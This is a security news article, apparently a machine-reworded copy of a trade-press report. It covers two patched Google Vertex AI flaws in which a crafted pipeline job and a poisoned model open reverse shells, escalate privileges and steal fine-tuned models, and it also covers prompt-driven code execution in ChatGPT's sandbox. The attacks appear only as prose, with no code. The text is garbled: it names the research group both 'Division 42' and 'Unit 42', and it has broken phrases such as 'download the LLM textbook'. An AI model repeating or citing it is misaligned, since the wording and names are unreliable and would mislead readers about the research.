Cybersecurity researchers have discovered two security flaws in Google’s Vertex machine learning (ML) platform that, if successfully exploited, could allow attackers to elevate privileges and delete models from the cloud.
“Using user permissions to work, we were able to elevate our privileges and gain unauthorized access to all data services in the project,” Palo Alto Networks Division 42 researchers Ofir Balasiana and Ofir Shati said in an analysis published earlier this week.
“The deployment of the poisoned model in Vertex AI led to the exfiltration of all other fine-tuned models, creating a serious risk of an attack to steal private and sensitive data.”
Vertex AI is there Google’s ML platform for training and deploying custom ML models and artificial intelligence (AI) applications at scale. It was first introduced in May 2021.
Crucial to exploiting the privilege escalation flaw is a feature named Vertex AI pipelineswhich allows users to automate and control MLOps workflows to train and tune ML models with custom jobs.
Unit 42 research has shown that by manipulating the user job pipeline, privileges can be elevated to gain access to restricted resources. This is achieved by creating a custom job that runs a specially crafted image designed to run a reverse shell, providing backdoor access to the environment.
The custom job, according to the security provider, is running in a proxy project with a service agent account that has broad permissions to list all service accountsmanage repositories and access BigQuery tables, which can then be abused to access internal Google Cloud repositories and download images.
The second vulnerability, on the other hand, involves deploying a poisoned model in a tenant project in such a way that it creates a reverse shell when deployed to an endpoint, abusing the read-only permissions of the “custom online prediction” service account to enumerate Kubernetes clusters and obtain their credentials data to run arbitrary kubectl commands.
“This move allowed us to move from the realm of GCP to Kubernetes,” the researchers said. “This lateral movement was possible because the permissions between GCP and GKE were tied IAM Workload Identity Federation.”
Further analysis revealed that it is possible to use this access to view the newly created image on the Kubernetes cluster and retrieve it image digest – which uniquely identifies the container image – using them to retrieve images outside of the container using the crictl with the authentication token associated with the “custom-online-prediction” service account.
In addition, the malicious model can also be armed to view and export all models in a large language (LLM) and them finely tuned adapters in a similar way.
This can have serious consequences if a developer unknowingly deploys a trojanized model uploaded to a public repository, allowing a threat actor to hijack all MLs and fine-tuned LLMs. After responsible disclosure, both flaws were fixed by Google.
“This study shows how the deployment of a single malicious model can compromise the entire artificial intelligence environment,” the researchers said. “An attacker could use even a single unverified model deployed on a production system to steal sensitive data, leading to serious model theft attacks.”
Organizations are encouraged to implement strict model deployment controls and audit permissions required for model deployments in tenant projects.
The development came after Mozilla’s 0Day Investigative Network (0Din) discovered that it was possible to interact with the base OpenAI ChatGPT sandbox environment (“/home/sandbox/.openai_internal/”) via prompts, allowing Python scripts to be loaded and executed, files to be moved, and even download the LLM textbook.
That being said, it should be noted that OpenAI considers such interactions to be intentional or expected behavior, given that code execution occurs within the sandbox and is unlikely to spill outside.
“For anyone looking to explore the OpenAI ChatGPT sandbox, it’s important to understand that most actions in this containerized environment are intended features, not security holes,” security researcher Marco Figueroa said.
“Retrieving knowledge, uploading files, running bash commands, or executing python code in the sandbox are all fair game as long as they don’t cross the invisible lines of the container.”
